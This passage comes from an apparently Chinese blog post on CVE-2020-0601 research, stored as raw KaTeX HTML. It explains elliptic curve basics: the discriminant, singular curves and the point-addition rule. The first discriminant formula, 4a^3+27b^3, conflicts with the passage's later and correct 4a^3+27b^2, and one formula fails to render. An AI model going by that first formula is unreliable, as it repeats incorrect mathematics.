style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="mord mathdefault">a</span><span class="mord mathdefault">x</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathdefault">b</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">0</span></span></span></span>  我们定义一个判别式Δ如下:</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Δ</mi><mo>=</mo><mn>4</mn><msup><mi>a</mi><mn>3</mn></msup><mo>+</mo><mn>27</mn><msup><mi>b</mi><mn>3</mn></msup></mrow><annotation encoding="application/x-tex">Δ = 4a^3+27b^3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord">Δ</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.9474379999999999em;vertical-align:-0.08333em;"></span><span class="mord">4</span><span class="mord"><span class="mord mathdefault">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8641079999999999em;vertical-align:0em;"></span><span class="mord">2</span><span class="mord">7</span><span class="mord"><span class="mord mathdefault">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span></span></span></span></span></p><p>当$$Δ=0$$的时候，函数图像会变成如下的形式</p><p><img src="/2020/01/21/CVE-2020-0601-Research/ECC0.png" alt=""></p><p>这种曲线被称为<strong>奇异椭圆曲线</strong>。这类曲线不被用于椭圆曲线方程<br><em>个人推测是因为在域F中任意取两点做出来的直线，与这个曲线的交点可能仅有两个，而椭圆曲线加密需要能够得到三个点，具体做方法见下文</em></p><p>当$$Δ!=0$$的时候，得到的曲线被称为<strong>非奇异椭圆曲线</strong></p><p><img src="/2020/01/21/CVE-2020-0601-Research/ECC1.png" alt=""><br><img src="/2020/01/21/CVE-2020-0601-Research/ECC2.png" alt=""></p><p>如上为常见的<strong>非奇异椭圆曲线</strong>的样子。</p><p>这里设一个点$$O$$为无穷远点，于是我们能够得到实数域上的椭圆曲线点的<strong>加法运算</strong></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>E</mi><mo>=</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mi mathvariant="normal">∣</mi><msup><mi>y</mi><mn>2</mn></msup><mo>=</mo><msup><mi>x</mi><mn>3</mn></msup><mo>+</mo><mi>a</mi><mi>x</mi><mo>+</mo><mi>b</mi><mo separator="true">,</mo><mn>4</mn><msup><mi>a</mi><mn>3</mn></msup><mo>+</mo><mn>27</mn><msup><mi>b</mi><mn>2</mn></msup><mo stretchy="false">!</mo><mo>=</mo><mn>0</mn><mo stretchy="false">}</mo><mo>∪</mo><mo stretchy="false">{</mo><mi>O</mi><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">E=\{(x,y)|y^2=x^3+ax+b,4a^3+27b^2!=0\}\cup\{O\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.1141079999999999em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mopen">(</span><span class="mord mathdefault">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mclose">)</span><span class="mord">∣</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.9474379999999999em;vertical-align:-0.08333em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="mord mathdefault">a</span><span class="mord mathdefault">x</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.0585479999999998em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">b</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">4</span><span class="mord"><span class="mord mathdefault">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8641079999999999em;vertical-align:0em;"></span><span class="mord">2</span><span class="mord">7</span><span class="mord"><span class="mord mathdefault">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose">!</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0</span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">∪</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord mathdefault" style="margin-right:0.02778em;">O</span><span class="mclose">}</span></span></span></span></span></p><p>然后我们定义一个椭圆曲线上的加法运算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⊕</mo></mrow><annotation encoding="application/x-tex">\oplus</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="mord">⊕</span></span></span></span>，规则入下：</p><p>对于任意<span class="katex-error" title="ParseError: KaTeX parse error: Undefined control sequence: \inE at position 14: P=(x_1, y_1) \̲i̲n̲E̲, Q=(x_2, y_2)∈…">P=(x_1, y_1) \inE, Q=(x_2, y_2)∈E</span>，定义:</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mo>+</mo><mi>Q</mi><mo>=</mo><mrow><mo fence="true">{</mo><mtable rowspacing="0.3599999999999999em" columnalign="left left" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi mathvariant="normal">O</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mo separator="true" lspace="0em" rspace="0em">,</mo></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>如果</mtext><msub><mi>x</mi><mn>1</mn></msub><mo>=</mo><msub><mi>x</mi><mn>2</mn></msub><mo separator="true">,</mo><msub><mi>y</mi><mn>1</mn></msub><mo>=</mo><msub><mi>y</mi><mn>2</mn></msub><mo>=</mo><mn>0</mn><mo separator="true">;</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi mathvariant="normal">O</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mo separator="true" lspace="0em" rspace="0em">,</mo></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>如果</mtext><msub><mi>x</mi><mn>1</mn></msub><mo>=</mo><msub><mi>x</mi><mn>2</mn></msub><mo separator="true">,</mo><msub><mi>y</mi><mn>1</mn></msub><mo>=</mo><mo>−</mo><msub><mi>y</mi><mn>2</mn></msub><mo>≠</mo><mn>0</mn><mo separator="true">;</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo stretchy="false">(</mo><msub><mi>x</mi><mn>3</mn></msub><mo separator="true">,</mo><msub><mi>y</mi><mn>3</mn></msub><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mo separator="true" lspace="0em" rspace="0em">,</mo></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mtext>否则</mtext></mstyle></mtd></mtr></mtable></mrow></mrow><annotation encoding="application/x-tex">P+Q=\begin{cases}\Omicron &amp; , &amp; \text{如果}x_1=x_2, y_1=y_2=0;  \\\Omicron &amp; , &amp; \text{如果}x_1=x_2, y_1=-y_2\not=0;  \\(x_3,y_3) &amp; , &amp; \text{否则}\end{cases}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.76666em;vertical-align:-0.08333em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8777699999999999em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">Q</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:4.32em;vertical-align:-1.9099999999999997em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.35002em;"><span style="top:-2.19999em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎩</span></span></span><span style="top:-2.19499em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎪</span></span></span><span style="top:-2.20499em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎪</span></span></span><span style="top:-3.15001em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎨</span></span></span><span style="top:-4.2950099999999996em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎪</span></span></span><span style="top:-4.30501em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎪</span></span></span><span style="top:-4.60002em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎧</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.8500199999999998em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.41em;"><span style="top:-4.41em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">O</span></span></span></span><span style="top:-2.97em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">O</span></span></span></span><span style="top:-1.5300000000000002em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.9099999999999997em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:1em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.41em;"><span style="top:-4.41em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mpunct">,</span></span></span><span style="top:-2.97em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mpunct">,</span></span></span><span style="top:-1.5300000000000002em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mpunct">,</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.9099999999999997em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.41em;"><span style="top:-4.41em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">如果</span></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord">0</span><span class="mpunct">;</span></span></span><span style="top:-2.97em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">如果</span></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord">−</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel"><span class="mord"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.69444em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="rlap"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="inner"><span class="mrel"></span></span><span class="fix"></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.19444em;"><span></span></span></span></span></span></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord">0</span><span class="mpunct">;</span></span></span><span style="top:-1.5300000000000002em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">否则</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.9099999999999997em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>其中</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>3</mn></msub><mo>=</mo><msup><mi>λ</mi><mn>2</mn></msup><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub><mo>−</mo><msub><mi>x</mi><mn>2</mn></msub><mo separator="true">,</mo><mspace linebreak="newline"></mspace><msub><mi>y</mi><mn>3</mn></msub><mo>=</mo><mi>λ</mi><mo stretchy="false">(</mo><msub><mi>x</mi><mn>1</mn></msub><mo>−</mo><msub><mi>x</mi><mn>3</mn></msub><mo stretchy="false">)</mo><mo>−</mo><msub><mi>y</mi><mn>1</mn></msub><mo separator="true">,</mo><mspace linebreak="newline"></mspace><mi>λ</mi><mo>=</mo><mrow><mo fence="true">{</mo><mtable rowspacing="0.3599999999999999em" columnalign="left left" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mfrac><mrow><msub><mi>y</mi><mn>2</mn></msub><mo>−</mo><msub><mi>y</mi><mn>1</mn></msub></mrow><mrow><msub><mi>x</mi><mn>2</mn></msub><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub></mrow></mfrac></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mo separator="true" lspace="0em" rspace="0em">,</mo></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>如果</mtext><mi>P</mi><mo>≠</mo><mi>Q</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mfrac><mrow><mn>3</mn><msubsup><mi>x</mi><mn>1</mn><mn>2</mn></msubsup><mo>+</mo><mi>a</mi></mrow><mrow><mn>2</mn><msub><mi>y</mi><mn>1</mn></msub></mrow></mfrac></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mo separator="true" lspace="0em" rspace="0em">,</mo></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>如果</mtext><mi>P</mi><mo>=</mo><mi>Q</mi></mrow></mstyle></mtd></mtr></mtable></mrow></mrow><annotation encoding="application/x-tex">x_3=\lambda^2-x_1-x_2,\\y_3=\lambda(x_1-x_3)-y_1,\\\lambda=\begin{cases}\frac {y_2-y_1}{x_2-x_1} &amp;,&amp; \text{如果}P\not=Q \\\frac {3x_1^2+a}{2y_1} &amp;,&amp; \text{如果}P=Q\end{cases}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.9474379999999999em;vertical-align:-0.08333em;"></span><span class="mord"><span class="mord mathdefault">λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault">λ</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathdefault">λ</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:3.0683279999999997em;vertical-align:-1.2841639999999996em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size4">{</span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.784164em;"><span style="top:-3.910284em;"><span class="pstrut" style="height:3.13412em;"></span><span class="mord"><span class="mord"><span class="mopen 